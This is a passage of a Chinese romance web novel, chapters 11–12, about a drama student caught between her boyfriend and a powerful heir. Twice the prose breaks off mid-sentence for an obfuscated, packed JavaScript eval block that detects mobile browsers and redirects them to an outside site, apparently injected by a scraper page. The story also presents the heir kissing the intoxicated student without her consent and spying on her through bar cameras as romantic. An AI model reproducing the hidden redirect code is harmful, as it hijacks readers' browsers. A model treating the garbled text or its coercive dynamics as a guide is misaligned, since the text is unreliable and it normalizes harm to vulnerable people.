果不其然,老爷子表情变了一下,浮上了点旧年的伤感,夸他用心。 施鸿敏见缝插针说:“阿珩为了这份礼物可是亲自跑了好几趟港岛大剧院,回国那天刚下飞机就马不停蹄赶过去了,连我这个做妈咪的,都没来得及和他打照面。” 作为当事人的周思珩微微一笑,侧耳倾听周庭云和他谈论公司近况发展。 坐在对面的梁明疏不屑地勾起唇角,和坐在旁边的女儿低声,“他送什么东西老爷子都会当个宝贝,这母子两个轮流一来一回可真有意思。” 周暄妍面色变了一下,对自己母亲做了个“噤声”的手势。 梁明疏心不甘情不愿闭上嘴,拿起刀叉切面前菲力牛排的时候不小心接收到来自周思珩居高临下的一瞥——那是属于上位者的目光,是一种饱含深意的对望。 她心跳错了一拍,手里的刀具一偏,在光滑盘面上发出刺耳一声。 所有的目光都聚集,梁明疏脸上一下燥得不行,连声说“抱歉”。 周思珩抬起手,倒是很体贴把切好的牛排让佣人递过去,抬手间俨然一副当家主人的姿态,而真正的掌权人也默许。 不知道为什么,梁明疏在这盘端来的佳肴里读出了“人为刀俎我为鱼肉”的意思。 她的心一下胆颤。 席开到尾声,周思珩提议要留下一副全家福,他请了港岛最有名的写实派画师,四米长的巨幅油画,挂在会客厅正中央的那块空白墙壁上刚刚好。 周庭云上了年纪,就喜欢这些有纪念意义的东西。 他欣然同意,命人搀扶着他换了一身中式唐装,要一家人整整齐齐坐在一起画一幅三世同堂。 等候的间隙,周思珩有点儿百无聊赖地玩手机。 忽然叮咛一声,是刚刚派出的唐钰洲传来消息——一条简短讯息,附上一张照片,风格简单,内容却不是如此。 唐钰洲:「温小姐正在和程嘉铎约会,他们看样子和好了。」 照片比文字传的要慢几秒钟,周思珩盯着逐渐加载清晰的照片,温如琢眉目温和,似乎有几分醉意,昏沉地躺在男人的肩膀上。 看上去如此登对的一幕。 周思珩忽然意味不明地冷笑一声。 他才消失了这么一会儿,他的珍妮就不听话。 11.chapter11 11 凌晨的高架桥上,几乎与黑夜沉入一体的布加迪以一个飞速向前驶进。 与此同时,凌晨的set sail 却进入了另一个狂欢倒计时。 来自城市各地的年轻人在这里尽情挥霍夜晚,第一次来到这里的温如琢却有一百个不适应。 这里实在太吵闹,令人亢奋的摇滚乐令她感到耳鸣,周围推杯交盏的热闹和她一个人独坐的氛围格格不入。 温如琢已经拒绝了三位端着酒杯搭讪的人了。 激昂的鼓点声撤下,她撑着下巴,开始欣赏台上的歌唱。 这是沈绵意最近新找的一份兼职,在一家靠近大学城附近的清吧当兼职歌手,每周只用工作三天,按周结算工资,时薪丰富,最重要的是没有其他多余工作,只用唱几首情意绵绵的情歌烘托氛围就行。 托平时练嗓子的福,沈绵意唱这种深情缓缓的情歌简直信手拈来。 她很喜欢唱陈奕迅的歌,用不大流利的粤语唱出来,还有点别扭的可爱。 温如琢点了一杯莫吉托,青柠薄荷的酸涩调,口味很像青苹果。 她听见沈绵意唱到“若爱是但求终身你问,怕只怕求其终身被困”忽然感伤起来,也许是这里的氛围使然,也许是感情真的到了一个临界点。 温如琢忽然无可自抑的悲伤起来,她仰头饮完一整杯,有点难受的想到程嘉铎。 他们这几天的关系很微妙,彼此时常不在同一个频率段上链接,有时温如琢主动和他分享生活,也只得到他一句“好”。 既冷淡,又不完全绝情,好像一根几乎要断的丝线,若即若离系在他们两个人手心。 这样的感觉令温如琢十分痛苦,沈绵意和她说酒吧是最好消解烦恼的地方,她喝了好几杯,却仍然感觉心头的烦闷未消。 等沈绵意三首歌唱完,走下台,已经看见温如琢歪歪扭扭地倒在软皮沙发上。 侍应生举着托盘着急慌忙过来:“不好意思小姐,这边上错酒了,不小心把隔壁点的酒给您上过来了。” “这杯低酒精的果酒是您的。” 听到声音,温如琢“噌”的一下坐起来,她脑袋里昏昏沉沉,尚且还没有明白这种感觉来源于酒醉,只是非常有原则地问——“那怎么办?需要我补差价给你吗?” “不用不用,这杯我们也给您免单了。”侍应生贴心嘱托,“伏特加的酒精含量比较高,您要小心醉酒。” 沈绵意抽了下嘴角:“Mike,你觉得她现在很清醒吗?” “原来是意姐你的朋友,那我先溜了。”Mike赶紧溜之大吉,“别和经理说,会扣我钱的。” “别发困,我今晚带你来是有计划的。”沈绵意蹲下来,一把将沙发上瘫倒的温如琢拉起来,非常郑重地和她说,“现在,你去洗手间补妆,我帮你约了程嘉铎过来,等会你们两个见面,该促膝长谈就谈,想擦枪走火就擦。” 温如琢没想到自己是一杯倒的酒量。 她扭过头去:“谁想见他。” “别装。”沈绵意嗤笑一声,推了她一把,“当谁看不出来你这几天郁郁寡欢,人我已经约出来了,分手还是怎么你自己看着办,反正我当你朋友够意思了。” 温如琢“嗯”了一声,声音很小,这会酒劲上来了,其实压根没听见她说什么,浓郁的困意卷上来,她只想躺下去睡觉。 身子再度倾倒的时候,一只手伸出来托住了她的下巴。 程嘉铎皱着眉头:“喝这么醉?” “我以为你短信里给我发的只是夸张。” 本来真是夸张,结果弄巧成拙。 沈绵意含糊地笑了下:“借酒消愁,她这几天因为你茶不思饭不想。” 温如琢真的为他做到这样吗? 程嘉铎忍不住低下头看她,酒汽将她的脸庞熏蒸绯红,巴掌大的脸庞似乎更显消瘦,两道细长的眉毛似蹙。 其实程嘉铎也不是故意不联系她,那天吵架是一方面导火索,另一方面也是见过周思珩的冲击太大,家里把他捧得太高,从小到大,他不说是人群里的第一,也称得上是精英中的佼佼者。 但真正见过权利与地位的划分,他忽然感觉到自己在人群中的漠然。 于是这段时间他一直投身在自己事业的投资里,逃不开的应酬,有时候一奋战就是凌晨,酒精上头的时候,收件箱里她发来的信息就这样被冷落。 这些天冷静思考过,他知道那天的确不是她的原因,两个人的争吵也完全是因为他没有控制好情绪。 此时此刻愧疚浮上心头,程嘉铎低声叹了口气,坐下来,让她的头轻轻倚靠在他的肩头。 沈绵意见状赶紧说:“不打扰你们了,我先走了,晚上拜托你照顾好她。” 程嘉铎“嗯”了一声,出于对女生的体贴,大晚上的,他不由多问一句,“你去哪?要不要我叫人送你?” “不用不用。”沈绵意从口袋里掏出一张房卡,“有艳遇。” 见状,程嘉铎不再多问。 他微微颔首,偏过头目光完全凝聚在温如琢的脸上,看她一张粉面若桃花,也许是酒精与气氛的双重刺激,程嘉铎心头涌上了一股前所未有的冲动。 于是他缓缓低下头—— Mike端着一个空盘走过来,他低声唤了一句,“请问是程先生吗?” 时机抓的极准,恰巧在程嘉铎低头要与温如琢嘴唇相贴的那一秒钟。 程嘉铎不耐烦地抬起头,眸中有被人打断好事的愠怒。 Mike丝毫不怕他,低着声音和他说,“那边有位小姐让您过去找她一下。” 程嘉铎语气不快地问:“是谁?” “她没有告诉我名字,不过她让我转告您,今晚八点的相亲约会,您已经迟到四个小时。” 话音刚落,程嘉铎脸色猛的一变。 他毫不犹豫放下怀里的温如琢,往侍应生说的方向走,临行前给了丰厚小费,叮嘱Mike照顾好她。 Mike连连点头,像个侍卫一样寸步不离。 他抬头遥遥望向二楼包厢,对吊顶处的隐形监控比了个ok的手势。 不知道什么时候,温如琢身上被披了件毛毯。 她睡的有点热,昏昏沉沉站起来准备去洗手间洗把脸,途中不小心撞到一个人,她扭过头去连声道歉,脚步仍旧未停。 就这样跌落到一个宽厚怀抱。 熟悉的衬衫领带,温如琢的手腕被男人扣住,她的指尖无力滑落,从男人凸起的喉结到衬衫丝滑面料。 白色衬衫,是程嘉铎喜欢的装扮。 温如琢眯着眼睛想要继续往上看,垂下的手掌以一种强制的姿态将她双眼笼罩,与此同时,紧箍在她腰上的手臂蓦然收紧,她下意识踮起脚,和“程嘉铎”的身体完全相贴。 他的身体发烫,气息也是。 温如琢舔了下唇,舌尖还残存酒精的苦与涩,她忍不住皱了下眉头,发誓再也不碰酒。 这个微小的动作被男人捕捉,连同含在唇齿间的一小截舌头一起。 温如琢感受到口腔里涌入一道浓烈暴虐的龙舌兰气息,男人掌控住她所有的视线,吻下的力道又重又狠,像是要侵略她口腔里所有的阵地。 是因为她喝酒了,所以他生气了吗? 温如琢有点迷糊的想,他亲吻时游走在她口腔里的舌头,好像要将一切酒精的气息都驱赶。 酒精是不好的东西,上学时老师就已经和她说过。 温如琢乖顺地仰起头,她感觉今天的吻有些与众不同,程嘉铎很少有这么强势的时候,大多数时候他只是浅浅啄一下她的嘴唇。 可是今天他连说话的机会都不给她,舌头巧妙勾住她不断退缩的心,像是一场不容许她拒绝的掠夺。 温如琢被亲的腿根发软,拽着男人领带的手指发颤。 交换呼吸的间隙,她终于找准时机,挂在肩头偏过头说了句“不行了……”语调又软又长,像是在撒娇。 头顶上方传来男人低低沉沉的笑声。 温如琢还没来得及细究,就这样在第一次的亲吻中晕了过去。 * 醒来的时候,时针已经快要指向午夜十二点。 温如琢被一道轻柔的女声唤醒,栗色卷发的女人正关切地望着她问,“小姐,你还好吗?” Mike也抱着托盘解释:“不好意思小姐,我们这里要打烊了。” set sail是港岛一家非常有名的清吧,更是有着午夜闭门的传统,在夜生活如同洒金一样的港岛,这家火热清吧舍下生意不做的理由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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杨惠姗笑着离开,回眸一笑望过来的目光璀璨,却令温如琢浑身发凉。 她忍不住向后退了一步,挣开程嘉铎握住的手。 他说的不错,能与不能,的确不是其他人可以说的算。 可是她想听到的不是这个答案,他似是而非的态度,恰巧将心里最深一层的阴霾勾起——温如琢开始正视他们的关系。 一切真的建立在平等的基础之上吗? 他们真的会有未来吗? 与此同时,程嘉铎转过身,急着向她开口,“我也是刚刚临时接到电话,我赴约只是想和她说清楚。” 刚刚? 刚刚我们不是还在接吻吗? 温如琢迷惑不已,酒精令记忆缺失,她有点脑袋发痛地看着眼前的一切,无意瞥到程嘉铎穿着的白色衬衫,那里显然少了一根领带,显得有点空落落的单调。 看到温如琢视线落在领带,程嘉铎也心虚移开目光。 杨家对他紧追不舍,最后居然扯着他的领带调情。 程嘉铎嫌恶心,随手扔进垃圾桶里。 为了转移她的注意力,他非常殷切地握住她的手开口。 “皎皎,我们和好吧。不要因为任何人,影响我们的感情。” 被迷迷糊糊的抱住,感受到手掌之下炽热的后背,温如琢神情微微愣怔,今晚的一切都太过迷幻,显然超出了她的脑容量承受范围。 她略一偏头,却不期与二楼栏杆边的男人对视。 周思珩端着一支高脚酒杯,躬身撑在栏杆上,漫不经心晃动着杯中的酒液,捕捉到她抬起的目光,在她流露的惊慌失措里得逞一笑。 他打了个响指,一旁的Mike立刻恭恭敬敬送上一只创口贴。 尺寸刚刚好,恰好遮住她唇边的小小伤口。 温如琢瞳孔猛的一缩,一件几乎难以想象的真相缓缓浮现在她眼前,她满脸不可思议地仰头望着周思珩,下意识向后退了一步。 也因为仰头的动作,看清了他的唇形。 男人拱起的肩胛犹如匐匍的巨兽,薄情寡淡的唇微启,慢条斯理看着她后退的动作说—— “你逃不掉。” 12.chapter12 012 “怎么了,皎皎?” 程嘉铎感受到怀里人一瞬间的僵硬,他下意识拍了拍她的背,然后看着她问,“你不舒服吗?” 温如琢扯了下唇角,顺势说,“刚刚喝了点酒,有点头晕。” 程嘉铎说:“那我先送你回去。” 他近日提了一辆新车,奔驰e级,通体白色,停在酒吧门口的停车位上,这会儿人都散场,还不算堵。 也许因为心思杂乱,温如琢并没有注意到程嘉铎买的这辆新车。 正如程嘉铎也并没有发现她嘴唇上明晃晃的伤口。 温如琢扭头望向窗外,后视镜倒映出她苍白一张脸,嘴唇却被吮吸得鲜红,她手指轻轻压着创口贴,仿若自虐一般使劲摁了摁伤口。 疼痛如预期传来,她近乎绝望的闭上眼睛,就连自己的心,都没办法承认这个事实。 醉酒后,她居然把周思珩认成程嘉铎,也居然就这样稀里糊涂和他接吻。 “ 皎皎,你在想什么?” 忽然又靠过来的气息,温如琢下意识绷紧下颌,她下意识伸出双手防御,看见程嘉铎错愕的手,这才放下。 程嘉铎愣了一下,温声道,“你连安全带都忘记系了。” 温如琢“啊”了一声,这才注意到耳朵里汽车启动时的警报音,她脸上蔓延了点绯色,低下头飞快拉下安全带。 程嘉铎却没有离开,她一抬头,恰好和他的目光对视,深情款款,好似掬了一池春水。 她为这样的目光愣怔,也就是做发呆的这几秒钟,程嘉铎渐渐低下头,想要和她接吻。 温如琢心里一慌,偏过头避开了他的吻。 “阿铎。”她轻声问:“上周你在忙什么?” “忙工作。”程嘉铎微微一笑,“上周有很多令我烦心的事,我不想让你和我一起烦心,所以没有告诉你。” 骗人,明明还参加了两场相亲宴。 温如琢有些心不在焉的翻动手里的相纸,她翻过来,他这次换了18k的钢笔笔尖,金色墨水华贵而又优雅,带着几分兴趣盎然的语气写—— 「hello,珍妮,我们又见面了。」 相纸是程嘉铎上周参加相亲宴的一帧,他颇有绅士礼仪地为女士拉开长凳,搭上餐巾,姿容优雅,男女登对。 被笼罩的巨大阴影将她吞噬,温如琢喉咙一窒,一种冲动涌上心头,她从包里翻出夹层里的名片,在暗色里,躲避程嘉铎的视线,开始给周思珩发信息。 她语气不太好的质问他:「周先生,你究竟想要做什么?」 「你想要的东西,我不是已经给了你吗?」 第一次见面,他亲自来取段梅英的亲笔签名,诚意可见一斑。 她不是个过分天真的女孩,像周思珩这样的人,要什么样的女人得不到,又怎会对她有“一见钟情”这样的童话故事。 所以她亲手奉上段梅英的典藏版剧照,权当对以前的诸多事情的答谢,也当斩断未来一切机遇。 但周思珩想要的显然不止如此。 那么,他究竟在图谋什么? 一种未知的恐惧席卷温如琢全身,她忍不住发抖,目光偏移落在程嘉铎身上,抿住的唇几度张开,终究还是忍下。 程嘉铎伸手调高空调温度,等红绿灯的间隙,他偏过头来看她一眼,用一种轻飘飘的语气说,“对了,以后我姐找你,你不用去见她了,想拉黑还是怎样,你都随意。” “我和家里决裂,出来单干了。” 温如琢瞳孔猛的一缩,未曾想到他有如此的决心魄力,港岛这片土地,多的是家族势力盘桓,她深深明白一个人在这里扎根的痛苦。 所以才一直容忍方咏珊,她并不是很希望程嘉铎和她一样承受这份痛苦。 可他又这么做了,故意用轻松诙谐的语气,好像在告诉她,这是一件没多大的小事。 可是温如琢心里还是百般自责,小时候母亲为了托举她上更好的中学放弃了治疗的机会,高考后得知真相的她,发誓此生绝不要任何人再为她付出。 但事实似乎辛辣的嘲讽她,在苍茫社会中,她的人生从来没有变,那种悲凉的仰望的目光一刻没有停。 遇到困难时,她还是只能等待别人的牺牲退步。 手机“叮咛”一响,将这个话题就此打断。 看不见的角落,程嘉铎紧捏方向盘,长长呼了一口气。 按道理来说,这种天大的事情事先是要和女友报备的,可他深知温如琢脾性,于是先斩后奏,率先做了决定。 想法也很简单,这是他心甘情愿做的事情,他不想她多添烦恼与愧疚之心。 温如琢低下头看手机短信,果不其然,是周思珩回复。 他说:「放心,我还不至于用这种伎俩拆散你们,只是恰好遇见,恰好手里有这张相片。」 「温小姐,既然你的爱情坚不可摧,那你何必忐忑?」 温如琢合上手机,深深吐息,感受一颗心在胸腔内跳动,更多的是彷惶与不安全感。 他们的爱情并不是坚不可摧。 实际上,她已经感受到在港岛落日的余晖下,他们的爱情摇摇欲坠。 只因为他们两个都太独立。 咬着牙不愿意把任何一丝痛苦带给彼此。 但隐瞒只会带来猜忌,还有随时漂浮不定的安全感缺乏。 * set sail已经清场,场内在做最后的卫生服务和安保检查。 二楼的私人包厢内,梁聿风脚尖踢了踢周思珩,没好气道,“泡妹泡到我这里来了?” “没办法,谁让你们一个个都英年早婚?” 周思珩双手搭在腿上,姿态慵懒,倚在康纳利沙发上,c型扶手放了一支高脚酒杯,他抬抬手,最喜欢的“滴金”红酒奉上。 对于周思珩来说,二十五岁的意思简直没意思的紧。 身边一干发小英年早婚,只剩他一个人在浮浪世界里迷幻。 结婚到底有什么意义,爱情又有怎样追逐的魅力? 周思珩不理解。 梁聿风把怀里钥匙扔给他,下巴一抬,“你自己呆着吧,我回家陪老婆了。” 他嗤笑一声,漫不经心抬了抬下巴,恰巧对推门而入的唐钰洲做了个“请说”的手势。 唐钰洲抿了下唇,开口汇报,“一切都吩咐好了,杨太太那边也已经打点好了,他对程家这个女婿还是很满意的。” “毕竟在同等条件下的不学无术的二世祖里,像程嘉铎这样一路以优秀成绩保送到港大,无任何不良嗜好的男人已经很少了。” 周思珩“嗯”了声:“仇绍康呢?” “留下他一条命,总得为我做点事。” “也都吩咐好了。” 唐钰洲耸了下肩膀,有点儿看不明白老板的作风,到底是对那位温小姐有意思还是没意思呢? 要是只是为了拉拢老爷子,那付出的注意力也太多了点。 正想着,周思珩冷不丁又开口。 他声音又冷又淡,尾音拖着几分漫不经心问,“你也觉得他很好?” 谁? 被上司抓住走神瞬间,唐钰洲讪讪然摸了摸鼻子,连连“哦”了两下,反应过来说的这个人是程嘉铎。 他推了推镜框说:“我没感觉,我不搞同性恋。” 周思珩嘴角扯了下,波动着手里打火机转轮,咔擦咔擦的火星冒出来,他抬了抬下巴,决定绕回正事。 “恒庭最近怎么样?” “没什么大动作,您的父亲周同天先生召开了几次部门会议,私底下几位股东单独会见,站队拉拢的意图显而易见。” 唐钰洲双手交递一份文件:“这是相关名单。” “嗯。”周思珩扫了一眼,不出意外的几个人名,他会心笑了下,倨傲地扬起眉毛,“插几个我们的人进去,另外,安排一下,明天我回家见爷爷。” 话音刚落,唐钰洲已经飞快拿起手机操作。 过了五分钟,他沉声说了句“一切都安排好了。” 周思珩摆摆手,略玩世不恭地抬了抬下巴,“出去吧,别挡着我看监控。” 听到这句话,唐钰洲下意识回头望了一眼,超4k全方位高清投影仪上放映着360度无死角的大屏监控。 这块监控原来是梁聿风用来预防酒吧客户骚扰女性顾客群体的,这会被周思珩拿过来用,监控完全切到温如琢所在的那一个角落。 镜头相切,周思珩缓缓俯下身来,阴测测的目光锁定那一帧画面。 画面中,程嘉铎忽然抱住了温如琢,他贴着她的脸颊,用亲呢的语气道歉,说当时太生气,没有容人气度,这几天一直在反省。 而温如琢红着眼睛,似乎也很感动,两个人相牵的手昭示重归旧好,甜蜜的一幕像玻璃刀一样扎眼。 周思珩冷笑一声。 他们的爱情比他想的要坚固一些。 但是所谓爱情,本来就是脆弱的东西。 * 段梅英在湾仔区一处远郊废弃工厂租下了一间房,充当他们平时的练习室。 原本是打算向学校申请一间空教室练习,可是因为学校资源紧张,审批的手续怎么也下不来。 总不能耽误训练,毕竟三个月后他们还有巴黎格伦美戏剧大赛要赴,一咬牙,段梅英在这里签下三个月的租期。 这里离他们学校很近,乘坐地铁半小时的车程即可到达,只是港岛寸土寸金的地界,一大笔租金付出,令他们一时又陷入拮据境地。 但他们显然没想到,在付完房租费用后,更大的拮据也随之到来。 在某个放学的晚间,温如琢及一干学生被领到Michael教授的办公室里。 这位负责行政的教授悠闲地端着一杯手冲咖啡,对乌泱泱站满一屋子的他们从头到脚打量。 温如琢和沈绵意彼此对视一样,在对方的眼神里读出同一种意思。 他们都不陌生这样的目光,一种富人对穷人的打量,有时候带着恶意,有时候也只是无意的漠然,好像他们天生地位不对等,有人从出生就被俯视。 打工生活已经磨砺掉温如琢一切的高敏感,她目光一点儿也没偏移,头略低一寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675054|172940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,视线自然向下低垂,这是她总结出来最好的姿态,倘若你高昂着头和这群自觉矜贵的人对视,他们会觉得被挑衅。 就这样,恰好低下一寸,不显得过分谦卑,也不叫人生厌。 段梅英站在最前面,秀眉紧紧皱起,语气不大好地问道,“当初你们承诺,我们出生源,你们提供每个学生的学费补贴,为什么忽然说终止就终止?” “冷静一点,段教授,只是终止部分学生的补贴而已,毕竟学院不是慈善机构,没有那么多的善款来资助贫困大学生完成梦想。” “可是当初你们是答应好了的。” “只是答应负责十来个学生的费用,12个也是十来个,而你带了18个人。”Michael一副笑面虎的样子说,“段教授,本来校方决定只赞助十个人,多出来的两个人已经是我为你争取的了。” 看吧,这就是有钱人的姿态,总是把没有道理的事情说的好像怜悯与施舍,然后像一条毒蛇一样寸寸逼近蚕食你的退让。 温如琢唇角勾起一抹自嘲的笑,她深知这是一场没有结果的辩论,已经低下头计算自己的存款,还能够在这个冰冷无情的城市支撑到几时。 一天一份的兼职看样子已经不够,她开始盘算剩下的时间,要去找一份新的兼职。 最后,段梅英长长叹了一口气,算是妥协,领着她们走出去。 出门的一霎那,Michael状似热情与抱歉的亲自送她们,只是在擦肩而过的一瞬间最后出门的温如琢听见他声音很轻地嗤笑一句—— “没钱还搞什么艺术。” 她紧紧咬住下唇,将一切难堪默默咽下心头,从校园乘坐大巴车回到训练基地的时候,大家都显得灰头土脸。 然而人生的噩耗显然还不止于此。 一个又一个拨打过来的电话,段梅英的脸色一次比一次还差,到最后连嘴唇都失去血色,差点要从台阶上跌落。 还是温如琢眼尖快速扶住她,几个姑娘一起搀扶着她坐下来,混着温水含服下一颗速效救心丸。 “我们的经济真的陷入最危机了。” 段梅英气虚,连说话的声音都不稳,“原来谈好的几个合作商都撤资了。” “还有原先要赞助我们去巴黎机票酒店的商人,也都打来电话不再提供。” 为什么会这样? 一夕之间,天崩地裂的感觉席卷整个剧团。 有人嗫嚅着问:“是因为上次我们得罪了仇绍康吗?” “也许有这个原因,但也不一定。”段梅英瞥了一眼温如琢,缓缓开口,“商人重利,戏曲在年轻一辈占的市场本来就小,有人会反悔是很正常的事情。” “答应的事情难道轻易就可以反悔吗?” “我们千里迢迢来到港岛,他们怎么可以先不信守承诺!” 人群中骚动起来,有个年纪最小的女孩站出来,两眼泪水涟涟,连嘴唇都在颤抖。 走到这一步,他们已经没有任何退路,如果不在港岛修完最后两年的学分,那就意味着无法得到大学本科的学位证书。 这对于他们这些从高考就不分昼夜拼搏来的学生来说,简直宛若灭顶之灾。 “这就是社会,比校园残酷太多,没人会理会你的死活。”沈绵意低头划拨手机里的存款,微挑的眉眼满是冷然。 她有一张很是天真的娃娃脸,本人的性格却很是现实,时常冷淡的眉眼添了几分至真至纯的冷艳,此时此刻,语气凉薄地说,“我一直在酒吧打工,手里的钱划掉我这学期的开销,剩下的可以借你们。” 段梅英也开口安慰大家:“钱的事情我来想办法,剧团去巴黎的开销,我来填补。” 温如琢忍不住问:“您怎么填补?” 段梅英微微一笑:“这不是小孩子要操心的事情。” “我打算把南城老家那套房子卖了。” 她心里一下不是滋味起来,那套房子是祖产,段梅英一生未婚,人到中年迟暮,身边亲人基本都已经离世,那套房子算是最后的留恋。 如今居然要这样卖掉。 真的已经到了如此地步吗? 温如琢心里一下不是滋味起来,她读懂了段梅英目光里的坚持与执拗,也明白此刻相劝,没有任何解决的办法。 她感觉剧团里的空气逼仄,再也难以喘息。 在各种为钱所困的争吵声中,她再也抑制不住心里的悲伤,推门而出。 港岛的夜色沉寂,在这片远郊,连路灯都寂寥,时不时从路边飞驰的重型卡车卷起浮沉,呛入呼吸道,令人咳出眼泪。 在温如琢近乎自虐的咳嗽声里,有一道脚步声慢慢走近。 清沉的乌木沉香随着男人俯身的动作席卷鼻尖,与此同时,一杯飘着热气的焦糖玛奇朵递至手边。 温如琢睁着水光蒙蒙的眼睛,看见男人修长如玉的手指,黑色衬衣薄薄贴合肌肉每一寸纹理,站在昏黄暖调的灯光下,好似泅出一道温柔倒影。 周思珩单手插兜,偏过头来看她。 双目泛笑,语调温柔地说—— “我们又见面了。”